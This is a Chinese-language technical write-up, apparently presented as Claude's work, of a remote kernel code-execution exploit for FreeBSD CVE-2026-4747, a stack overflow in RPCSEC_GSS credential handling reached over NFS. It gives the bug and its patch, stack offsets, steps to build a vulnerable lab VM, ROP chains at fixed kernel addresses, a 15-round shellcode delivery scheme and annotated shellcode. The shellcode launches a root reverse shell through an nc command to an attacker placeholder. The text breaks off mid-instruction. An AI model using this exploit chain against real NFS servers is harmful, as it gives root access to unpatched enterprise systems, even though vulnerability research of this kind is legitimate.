演示 Claude 编写 FreeBSD 内核远程代码执行漏洞的完整能力,揭示 AI 工具的安全边界和风险。
完整远程内核 RCE → uid 0 反向 Shell
安全公告:FreeBSD-SA-26:08.rpcsec_gss
CVE:CVE-2026-4747
受影响版本:FreeBSD 13.5(<p11)、14.3(<p10)、14.4(<p1)、15.0(<p5)
测试环境:FreeBSD 14.4-RELEASE amd64(GENERIC 内核,未启用 KASLR)
攻击面:已加载 kgssapi.ko 的 NFS 服务器(2049/TCP 端口)
在 sys/rpc/rpcsec_gss/svc_rpcsec_gss.c 中,函数 svc_rpc_gss_validate() 会将 RPC 头部重新构造到一个 128 字节的栈缓冲区(rpchdr[])中,以进行 GSS-API 签名验证。它首先写入 32 字节的固定 RPC 头字段,然后将整个 RPCSEC_GSS 凭据主体(oa_length 字节)复制到剩余空间中——却没有检查 oa_length 是否能够容纳。
static bool_t
svc_rpc_gss_validate(struct svc_rpc_gss_client *client,
struct rpc_msg *msg, gss_qop_t *qop, rpc_gss_proc_t gcproc)
{
int32_t rpchdr[128 / sizeof(int32_t)]; // 128 bytes on stack
int32_t *buf;
memset(rpchdr, 0, sizeof(rpchdr));
// Write 8 fixed-size RPC header fields (32 bytes total)
buf = rpchdr;
IXDR_PUT_LONG(buf, msg->rm_xid);
IXDR_PUT_ENUM(buf, msg->rm_direction);
IXDR_PUT_LONG(buf, msg->rm_call.cb_rpcvers);
IXDR_PUT_LONG(buf, msg->rm_call.cb_prog);
IXDR_PUT_LONG(buf, msg->rm_call.cb_vers);
IXDR_PUT_LONG(buf, msg->rm_call.cb_proc);
oa = &msg->rm_call.cb_cred;
IXDR_PUT_ENUM(buf, oa->oa_flavor);
IXDR_PUT_LONG(buf, oa->oa_length);
if (oa->oa_length) {
// BUG: No bounds check on oa_length!
// After 32 bytes of header, only 96 bytes remain in rpchdr.
// If oa_length > 96, this overflows past rpchdr into:
// local variables → saved callee-saved registers → return address
memcpy((caddr_t)buf, oa->oa_base, oa->oa_length);
buf += RNDUP(oa->oa_length) / sizeof(int32_t);
}
// gss_verify_mic() called after — but overflow already happened
}
该缓冲区仅有 128 - 32 = 96 字节的空间可用于存放凭据主体。任何超过 96 字节的凭据都会导致栈缓冲区溢出。
补丁只在复制操作前增加了一项边界检查:
oa = &msg->rm_call.cb_cred;
if (oa->oa_length > sizeof(rpchdr) - 8 * BYTES_PER_XDR_UNIT) {
rpc_gss_log_debug("auth length %d exceeds maximum", oa->oa_length);
client->cl_state = CLIENT_STALE;
return (FALSE);
}
根据该函数的序言反汇编结果(objdump -d kgssapi.ko):
svc_rpc_gss_validate:
push rbp
mov rbp, rsp
push r15 ; saved at [rbp-8]
push r14 ; saved at [rbp-16]
push r13 ; saved at [rbp-24]
push r12 ; saved at [rbp-32]
push rbx ; saved at [rbp-40]
sub rsp, 0xb8 ; 184 bytes of local space
rpchdr 数组位于 [rbp-0xc0](即 rbp 下方 192 字节处)。memcpy 从 rpchdr + 32 = [rbp-0xa0] 开始写入。已保存的寄存器和返回地址位于栈中 rpchdr 的上方:
Stack layout (low → high addresses):
[rbp - 0xe0] local variables (bottom of frame)
[rbp - 0xc0] rpchdr[0] ← memset target
[rbp - 0xa0] rpchdr[32] ← memcpy destination (our overflow starts here)
[rbp - 0x40] rpchdr[128] ← end of buffer (96 bytes from memcpy start)
[rbp - 0x28] saved RBX ← OVERFLOW: credential body byte 120
[rbp - 0x20] saved R12 ← byte 128
[rbp - 0x18] saved R13 ← byte 136
[rbp - 0x10] saved R14 ← byte 144
[rbp - 0x08] saved R15 ← byte 152
[rbp + 0x00] saved RBP ← byte 160
[rbp + 0x08] RETURN ADDRESS ← byte 168
不过,这些偏移量是假定凭据主体立即开始时的结果。实际上,凭据主体以一个 GSS 头部(版本、过程、序列号、服务)开头,之后还有一个上下文句柄。对于 16 字节的句柄,实际偏移量会增加 32 字节——返回地址最终落在凭据主体的第 200 字节处(已通过远程漏洞利用中的 De Bruijn 模式分析验证)。
为什么是 NFS?存在漏洞的 kgssapi.ko 模块为内核的 RPC 子系统实现了 RPCSEC_GSS 身份验证。NFS 是使用 RPCSEC_GSS 的主要(通常也是唯一的)内核态 RPC 服务。NFS 服务器守护进程(nfsd)监听 2049/TCP 端口,并在内核上下文中处理 RPC 数据包——这使它成为一个可通过网络触发的远程内核代码执行漏洞。
为什么需要 Kerberos?溢出发生在 GSS 验证代码路径的深处。只有满足以下条件时,才会调用 svc_rpc_gss_validate():
RPC 数据包使用 RPCSEC_GSS 身份验证(flavor = 6)
GSS 过程为 DATA(而不是 INIT 或 DESTROY)
服务器找到与上下文句柄匹配的有效客户端条目
重放序列检查通过
如果没有有效的 GSS 上下文,服务器会在第 3 步拒绝数据包(返回 AUTH_REJECTEDCRED),因此永远不会执行存在漏洞的 memcpy。创建有效的 GSS 上下文需要成功完成 Kerberos 握手——攻击者必须持有 NFS 服务主体的有效 Kerberos 票据。
在现实攻击中,目标通常是已部署 Kerberos 基础设施(Active Directory、FreeIPA 等)的企业 NFS 服务器。任何持有有效 Kerberos 票据的用户——即使是无特权用户——都可以触发该漏洞。由于不存在预先搭建的 Kerberos 环境,因此测试实验室包含了自己的 KDC。
XDR 层将凭据主体限制为 MAX_AUTH_BYTES = 400,因此可触发溢出的长度范围为 97~400 字节(超出安全上限 1~304 字节)。
FreeBSD 14.4-RELEASE amd64(可使用任意虚拟化平台:QEMU、VMware、VirtualBox、bhyve 或裸机)
已启用 NFS 服务器并加载 kgssapi.ko
MIT Kerberos KDC(用于 RPCSEC_GSS 身份验证)
攻击者主机(Linux):
Python 3 及 gssapi 模块(apt install python3-gssapi)
MIT Kerberos 客户端(apt install krb5-user)
可通过网络访问目标的 NFS 端口(2049/TCP)和 KDC 端口(88/TCP)
# Download image
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
cp FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 freebsd-vuln.qcow2
qemu-img resize freebsd-vuln.qcow2 8G
# Cloud-init auto-configuration
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
ssh_pwauth: True
bootcmd:
- rm -f /firstboot # prevent auto-patching to -p1
- rm -f /var/db/freebsd-update/*
runcmd:
- echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
- service sshd restart
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- echo '/export -network 0.0.0.0/0' > /etc/exports
- mkdir -p /export
- service rpcbind start && service nfsd start
EOF
cat > meta-data << 'EOF'
instance-id: cve-test
local-hostname: freebsd-vuln
EOF
genisoimage -output seed.iso -volid cidata -joliet -rock user-data meta-data
# Boot VM — forward SSH (22), NFS (2049), and KDC (88) ports
qemu-system-x86_64 -enable-kvm -cpu host -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-cdrom seed.iso \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
KDC 端口(88)被直接转发到主机的 8888 端口——无需 SSH 隧道。
适用于 VMware Workstation、ESXi、Fusion、VirtualBox 或 bhyve。在本例中,虚拟机主机名为 test。
下载安装 ISO(而不是 cloud-init 镜像):
wget https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4-RELEASE/\
FreeBSD-14.4-RELEASE-amd64-disc1.iso
创建虚拟机,配置如下:2 个 CPU(2 个插槽 × 每插槽 1 个核心,或 1 个插槽 × 2 个核心)、2GB 内存、8GB 磁盘。重要提示:FreeBSD 会为每个 CPU 启动 8 个 NFS 线程。漏洞利用每轮会终止一个线程,并且需要执行 15 轮,因此至少需要 2 个 CPU(即 16 个线程)。如果只有 1 个 CPU(8 个线程),漏洞利用会在第 9 轮左右失败。网络:桥接或 NAT(攻击者需要访问 22、88 和 2049 端口)。挂载 ISO 并按常规方式安装 FreeBSD。在安装过程中将主机名设置为 test(也可以稍后修改)。
2 个 CPU(2 个插槽 × 每插槽 1 个核心,或 1 个插槽 × 2 个核心)、2GB 内存、8GB 磁盘
重要提示:FreeBSD 会为每个 CPU 启动 8 个 NFS 线程。漏洞利用每轮会终止一个线程,并且需要执行 15 轮,因此至少需要 2 个 CPU(即 16 个线程)。如果只有 1 个 CPU(8 个线程),漏洞利用会在第 9 轮左右失败。
网络:桥接或 NAT(攻击者需要访问 22、88 和 2049 端口)
挂载 ISO 并按常规方式安装 FreeBSD
在安装过程中将主机名设置为 test(也可以稍后修改)
安装完成后,以 root 身份登录并运行以下命令。如果你的实际主机名不是 test,请将其替换为实际主机名(可通过 hostname 查看):
安装完成后,以 root 身份登录并运行以下命令。如果你的实际主机名不是 test,请将其替换为实际主机名(可通过 hostname 查看):
# 1. Install Kerberos
pkg install -y krb5
# 2. 创建 krb5.conf
```bash
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
/usr/local/sbin/kadmin.local -q "addprinc -pw password testuser@TEST.LOCAL"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/test@TEST.LOCAL"
/usr/local/sbin/kadmin.local -q "addprinc -randkey host/test@TEST.LOCAL"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/test@TEST.LOCAL"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab host/test@TEST.LOCAL"
/usr/local/sbin/krb5kdc
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
sysrc rpcbind_enable=YES
sysrc nfs_server_enable=YES
sysrc nfsv4_server_enable=YES
sysrc nfsuserd_enable=YES
sysrc gssd_enable=YES
sysrc mountd_enable=YES
sysrc nfs_server_flags="-u -t"
service rpcbind start
service nfsuserd start
service gssd start
service mountd start
service nfsd start
sysctl vfs.nfsd.threads # 应该显示 16(使用 2 个 CPU)
sockstat -l | grep 2049 # 必须显示 tcp4 和 tcp6 行(不仅仅是 udp)
kldstat | grep gss # 应该显示 kgssapi.ko 和 kgssapi_krb5.ko
echo 'password' | kinit testuser@TEST.LOCAL && klist
每次重启后,唯一的手动步骤是启动 KDC(其他所有内容都会从 rc.conf 自动启动):
/usr/local/sbin/krb5kdc
# 验证
sysctl vfs.nfsd.threads # 应该显示 16(使用 2 个 CPU)
sockstat -l | grep 2049 # 必须显示 tcp4/tcp6 行
使用桥接网络时,攻击者直接连接到虚拟机的 IP,端口为 88、2049。无需端口转发。
使用 NAT 时,在虚拟化程序中配置端口转发:
VMware:编辑 → 虚拟网络编辑器 → NAT 设置 → 添加(主机 2049 → 客机 2049,主机 8888 → 客机 88)
VirtualBox:设置 → 网络 → 高级 → 端口转发(相同的映射)
Kerberos 设置现已包含在上面的选项 B 步骤 2 中。如果你使用了选项 A(QEMU cloud-init),Kerberos 设置是相同的——只需 SSH 进去并运行步骤 2 的命令。
NFS 服务主体必须与虚拟机主机名完全匹配:nfs/test@TEST.LOCAL(对于主机名 test)
krb5.conf 必须在运行 kadmin.local 或 kdb5_util 之前存在
KDC(/usr/local/sbin/krb5kdc)必须手动启动——它不会在启动时自动启动,除非你将其添加到 /etc/rc.local
两台机器都需要 Kerberos 配置,但原因不同:
# Ubuntu/Debian
sudo apt install krb5-user libkrb5-dev python3-gssapi
# 当安装程序询问时:
# 默认 realm: TEST.LOCAL
# KDC 主机名: (留空,按 Enter)
# 管理服务器: (留空,按 Enter)
# 这些都不重要——我们在下面的 /etc/krb5.conf 中覆盖它们。
# Fedora/RHEL
sudo dnf install krb5-workstation krb5-devel python3-gssapi
pip install gssapi
这告诉 kinit 和 Python gssapi 模块在哪里找到 KDC(在 FreeBSD 虚拟机上运行):
# 将 VM_IP 替换为你的 FreeBSD 虚拟机的实际 IP 地址
# 将 KDC_PORT 替换为 88(桥接)或 8888(如果使用 NAT 端口转发)
sudo tee /etc/krb5.conf << EOF
[libdefaults]
default_realm = TEST.LOCAL
rdns = false # 关键:防止反向 DNS 查询
dns_canonicalize_hostname = false # 关键:防止主机名规范化
[realms]
TEST.LOCAL = {
kdc = VM_IP:KDC_PORT
}
EOF
rdns = false 和 dns_canonicalize_hostname = false 设置至关重要。没有它们,MIT Kerberos 会对目标 IP 执行反向 DNS,生成 nfs/localhost@TEST.LOCAL 的票证,而不是 nfs/test@TEST.LOCAL。服务器会拒绝不匹配的主体,返回 KRB5KRB_AP_WRONG_PRINC。
/etc/hosts 中的主机名必须与虚拟机上创建的 NFS 服务主体匹配(nfs/test@TEST.LOCAL):
# 将 VM_IP 替换为你的 FreeBSD 虚拟机的实际 IP 地址
echo "VM_IP test" | sudo tee -a /etc/hosts
echo "password" | kinit testuser@TEST.LOCAL
klist # 验证:应该显示 krbtgt/TEST.LOCAL@TEST.LOCAL
如果 kinit 失败并显示"无法到达 KDC":虚拟机的 KDC 没有运行(虚拟机上的 /usr/local/sbin/krb5kdc)或端口无法到达(检查防火墙/端口转发)。
如果 kinit 失败并显示"密码不正确":密码与虚拟机上用 kadmin.local 设置的不匹配。
仅在你针对不同的 FreeBSD 版本并需要查找新的小工具地址时才需要:
pip install ROPgadget
示例配置:
该漏洞利用通过多轮溢出攻击实现远程内核代码执行。每轮:
与 NFS 服务器建立新的 Kerberos GSS 上下文
发送一个 RPCSEC_GSS DATA 数据包,其凭证主体大小超限
溢出用 ROP 小工具覆盖返回地址
ROP 链要么将数据写入内核内存,要么跳转到 shellcode
kthread_exit() 干净地终止 NFS 工作线程(无恐慌)
由于 400 字节的凭证限制每轮仅允许约 200 字节的 ROP 链,432 字节的 shellcode 分 15 轮交付:第 1 轮使内核 BSS 可执行,第 13 轮每次写入 32 字节的 shellcode,最后一轮写入最后 16 字节并跳转到 shellcode 入口点。
每轮通过 kthread_exit() 终止一个 NFS 工作线程。该漏洞利用需要 15 轮。FreeBSD 每 CPU 生成 8 个 NFS 线程,所以虚拟机需要至少 2 个 CPU(= 16 个线程)。使用 1 个 CPU(8 个线程),漏洞利用在第 9 轮左右失败,并显示"GSS 上下文失败"。
凭证主体在溢出数据前包含可变长度的 GSS 标头。使用 16 字节的上下文句柄,实际的寄存器偏移量(通过发送 De Bruijn 循环模式和读取崩溃转储确定)为:
凭证主体字节 → 堆栈目标
[0..35] → GSS 标头(version=1, proc=DATA, seq=1, svc=integrity, handle)
[36..151] → 填充 rpchdr 余数 + 局部变量(填充)
[152..159] → 保存的 RBX(被调用者保存寄存器)
[160..167] → 保存的 R12
[168..175] → 保存的 R13
[176..183] → 保存的 R14
[184..191] → 保存的 R15
[192..199] → 保存的 RBP(帧指针)
[200..207] → 返回地址——第一个 ROP 小工具放在这里
[208..399] → ROP 链继续(192 字节 = 24 个四字)
最初假设 RIP 在字节 168 的位置错了 32 字节——16 字节的 GSS 句柄 + XDR 对齐移动了所有内容。这是通过从远程主机发送 De Bruijn 模式并读取崩溃寄存器值发现的。
通过 ROPgadget 找到(pip3 install ROPgadget && ROPgadget --binary /boot/kernel/kernel):
其中 K = 0xffffffff80200000(内核基址,固定——FreeBSD 14.x 上无 KASLR)。
mov [rdi], rax; ret 小工具是主力:它将 8 字节的攻击者控制数据写入任何可写的内核地址。结合 pop rdi 和 pop rax,每次 8 字节写入耗费 40 字节的 ROP 链(5 个四字)。
Shellcode 必须放在既可写(以便我们可以写入它)又可执行(以便 CPU 可以运行它)的地方。内核 BSS 是可写的但不可执行的(W^X 强制)。第 1 轮使用 pmap_change_prot() 添加执行权限:
ROP 链(第 1 轮):
pop rdi → rdi = 0xffffffff8198a000(内核 BSS 页面)
pop rsi → rsi = 0x2000(2 页 = 8KB)
pop rdx → rdx = 7(VM_PROT_ALL = read|write|execute)
pmap_change_prot → 将 BSS 页面权限更改为 RWX
pop rdi → rdi = 0(退出状态)
kthread_exit → 干净地终止此 NFS 线程
此轮之后,BSS 区域 0xffffffff8198a000 – 0xffffffff8198bfff 是读-写-执行。
每轮将 4 个四字(32 字节)的 shellcode 写入顺序 BSS 地址:
ROP 链模板(第 2–14 轮):
pop rdi → rdi = BSS_SC + offset ; 目标地址
pop rax → rax = shellcode_qword ; 8 字节的 shellcode
mov [rdi], rax → 将 8 字节写入 BSS
(为接下来的 3 个四字重复 3 次)
pop rdi → 0
kthread_exit → 干净退出
Shellcode 是 432 字节(425 + 填充)。在 13 轮中每轮写入 32 字节 = 416 字节,加上最后一轮的 16 字节 = 432 总计。
最后一轮写入剩余的 2 个四字,并将 kthread_exit 替换为跳转到 shellcode 入口:
ROP 链(第 15 轮): pop rdi → rdi = BSS_SC + 416 ; 最终目标 pop rax → rax = 最后一个八字节 mov [rdi], rax → 写入 pop rdi → rdi = BSS_SC + 424 pop rax → rax = 最后一个八字节 mov [rdi], rax → 写入 BSS_SC → 跳转到 shellcode 入口点!
已保存的寄存器区域(凭证字节 152–199)将 KPROC_CREATE 预加载到 RBX 中供 shellcode 使用。
每一轮都需要一个新的 GSS 上下文(前一个线程已被杀死)。该漏洞利用 Python 的 gssapi 模块:
name = gssapi.Name('nfs/test@TEST.LOCAL', gssapi.NameType.kerberos_principal)
ctx = gssapi.SecurityContext(name=name, usage='initiate',
flags=gssapi.RequirementFlag.mutual_authentication)
token = ctx.step()
kerberos_principal 名称类型至关重要——使用 hostbased_service 会导致 MIT Kerberos 通过反向 DNS 规范化主机名,产生 nfs/localhost@TEST.LOCAL 而不是正确的 nfs/test@TEST.LOCAL。服务器会以 KRB5KRB_AP_WRONG_PRINC 拒绝不匹配的主体。
Shellcode 在 CPL 0 的内核模式下运行。它的任务是以 root 身份生成一个运行反向 shell 命令的新进程。它不能简单地从 NFS 线程调用 execve(),因为 NFS 工作线程是内核线程,缺少内核→用户态转换所需的适当用户模式 trapframe。
相反,shellcode 采用两阶段方法:
入口函数(在被劫持的 NFS 线程上运行):创建一个新的内核进程,然后退出
工作函数(在新进程中运行):通过 kern_execve() 将进程转换为 /bin/sh,然后转换到用户态
字节 0–12:栈枢纽
mov rax, 0xffffffff8198bf00 ; BSS + 0x1F00(安全栈区域)
mov rsp, rax ; 从被破坏的 NFS 线程栈转向 RWX BSS 区域的干净栈
字节 13–35:设置 kproc_create 参数
lea rdi, [rip + worker_fn] ; arg1:指向工作函数的函数指针
xor esi, esi ; arg2:参数 = NULL
xor edx, edx ; arg3:procp = NULL(不需要进程指针)
xor ecx, ecx ; arg4:标志 = 0
xor r8d, r8d ; arg5:页数 = 0(默认栈)
mov r9, <"/bin/sh" addr> ; arg6:进程名(vsnprintf 的格式字符串)
字节 36–42:清除调试寄存器 + 调用 kproc_create
xor eax, eax ; rax = 0
mov dr7, rax ; 清除硬件断点控制寄存器
; (防止继承的 DR 断点导致子进程崩溃)
call rbx ; rbx 由溢出的已保存寄存器区域预加载了 kproc_create 地址
字节 43–47:NOP 填充(曾是 ha_handler 清理,现已 NOP 处理)
字节 67–78:退出 NFS 线程
mov rax, kthread_exit ; kthread_exit() 的绝对地址
call rax ; 干净地终止此内核线程
; NFS 服务器继续使用剩余线程
字节 79:CC(int3,不可达——kthread_exit 永不返回)
为什么是 kproc_create?NFS 工作线程是纯内核线程——它没有用户地址空间(vmspace)、没有 trapframe,也无法转换到用户模式。kproc_create() 在内部调用 fork1(),创建一个全新进程,包含其自己的 struct proc、struct thread、vmspace 和 trapframe——这是 kern_execve() 稍后将其替换为用户态程序所需的一切。
为什么清除 DR7?子进程继承父线程的调试寄存器状态。如果内核之前在 panic 期间进入 DDB(内核调试器),硬件断点可能仍在 DR0–DR3/DR7 中设置。当子进程触及被监视地址时,会导致 trap 1(调试异常)。清除 DR7(控制寄存器)禁用所有硬件断点。
为什么调用 rbx?kproc_create 地址是 64 位内核指针,编码为 mov rax, imm64; call rax 需要 10 个字节。由于溢出的已保存寄存器区域将 KPROC_CREATE 预加载到 RBX 中(凭证字节 152),入口可以使用 call rbx(2 字节)。这节省了 10 个字节的 shellcode——考虑到紧张的预算,这至关重要。
工作函数通过 fork_exit()——内核的 post-fork 回调机制运行。fork_exit 设置 rbx = curthread(新线程指针),工作函数必须在回调返回后为 fork_exit 的清理工作保留此值。
字节 80–91:前言
push rbp ; 保存帧指针
mov rbp, rsp ; 设置栈帧
sub rsp, 0x100 ; 为局部变量分配 256 字节
push rbx ; 保存 curthread(返回前必须恢复)
字节 92–105:清零 image_args 结构
lea rdi, [rbp - 0x80] ; image_args 在 rbp-128
xor eax, eax ; 零填充值
mov ecx, 16 ; 16 个八字节 = 128 字节
rep stosq ; memset(&args, 0, 128)
; image_args 必须清零——未初始化的字段会导致 exec 失败
字节 106–112:分配参数缓冲
lea rdi, [rbp - 0x80] ; &args
push rdi ; 保存 args 指针供后续调用使用
mov rax, exec_alloc_args ; 内核函数:为 argv/envp 分配页面
call rax
字节 113–141:设置可执行文件路径
pop rdi; push rdi ; rdi = &args(从栈恢复,保持保存)
mov rsi, <"/bin/sh" addr> ; 路径字符串(BSS 中的绝对地址)
mov edx, 1 ; UIO_SYSSPACE:字符串在内核内存中
mov rax, exec_args_add_fname
call rax ; 将 "/bin/sh" 添加为可执行文件路径
字节 142–170:添加 "-c" 参数
pop rdi; push rdi
mov rsi, <"-c" addr>
mov edx, 1
mov rax, exec_args_add_arg
call rax ; argv[1] = "-c"
字节 171–198:添加反向 shell 命令
pop rdi
mov rsi, <command addr> ; "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER PORT>/tmp/f"
mov edx, 1
mov rax, exec_args_add_arg
call rax ; argv[2] = 反向 shell 命令
字节 199–227:调用 kern_execve
mov rdi, gs:[0] ; curthread(来自 per-CPU 段寄存器)
mov rax, [rdi + 0x0